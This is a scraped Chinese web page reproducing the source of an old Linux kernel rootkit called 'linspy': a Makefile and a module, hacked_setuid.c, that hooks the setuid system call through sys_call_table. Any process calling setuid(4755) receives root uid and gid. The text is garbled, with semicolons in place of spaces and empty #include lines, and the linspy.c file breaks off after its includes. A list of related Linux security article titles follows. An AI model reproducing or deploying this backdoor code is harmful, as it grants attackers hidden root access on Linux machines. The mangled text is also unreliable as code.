MODCFLAGS;:=;$(V);$(CFLAGS);-DMODULE;-D__KERNEL__;-DLINUX
all:;linspy;ltread;setuid
linspy:;linspy.c;/usr/include/linux/version.h
$(CC);$(MODCFLAGS);-c;linspy.c
ltread:;
$(CC);$(DN);-o;ltread;ltread.c
clean:;
rm;*.o;ltread
setuid:;hacked_setuid.c;/usr/include/linux/version.h
$(CC);$(MODCFLAGS);-c;hacked_setuid.c
<-->;end;Makefile
<>;linspy/hacked_setuid.c
int;errno;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#ifdef;NEED_VERSION
static;char;kernel_version[];=;UTS_RELEASE;
#endif
static;inline;_syscall1(int,;setuid,;uid_t,;uid);/*用_syscall这个系统调用宏来构建setuid调用*/
extern;void;*sys_call_table[];/*调出系统调用表*/
void;*original_setuid;;/*原来的setuid*/
extern;int;hacked_setuid(uid_t;uid)/*我们要替换的setuid*/
{
int;i
if(uid;==;4755)
{
current->uid;=;current->euid;=;current->gid;=;current->egid;=;0;
/*使当前进程的uid,euid,gid,egid为零*/
return;0;
}
sys_call_table[SYS_setuid];=;original_setuid;/*保存原调用*/
i;=;setuid(uid);
sys_call_table[SYS_setuid];=;hacked_setuid;/*替换调用!*/
if(i;==;-1);return;-errno;
else;return;i;
}
int;init_module(void);/*加载*/
{
original_setuid;=;sys_call_table[SYS_setuid];
sys_call_table[SYS_setuid];=;hacked_setuid;
return;0;
}
void;cleanup_module(void);/*卸载*/
{
sys_call_table[SYS_setuid];=;original_setuid;
};
<>;linspy/linspy.c
int;errno;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#ifdef;MODULE
#include;
#endif
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
#include;
推荐阅读
- Linux系统后门技术及实践
- ZT 饶过现代Anti-Rookit工具的内核模块扫描
- 快速建立linux下的vpn服务器做加密代理
- Linux下防范缓冲区溢出攻击的系统安全策略
- 图 Mandrake Linux 9.0 beta + Vmware 安装
- 图 Linux下SSH密匙完美使用方法
- 实现Linux操作系统的自动登录
- Linux操作系统十大高级安全管理技巧
- 图 Linux操作系统打印机配置全攻略
- 图 Linux网络环境下如何玩转GMail信箱
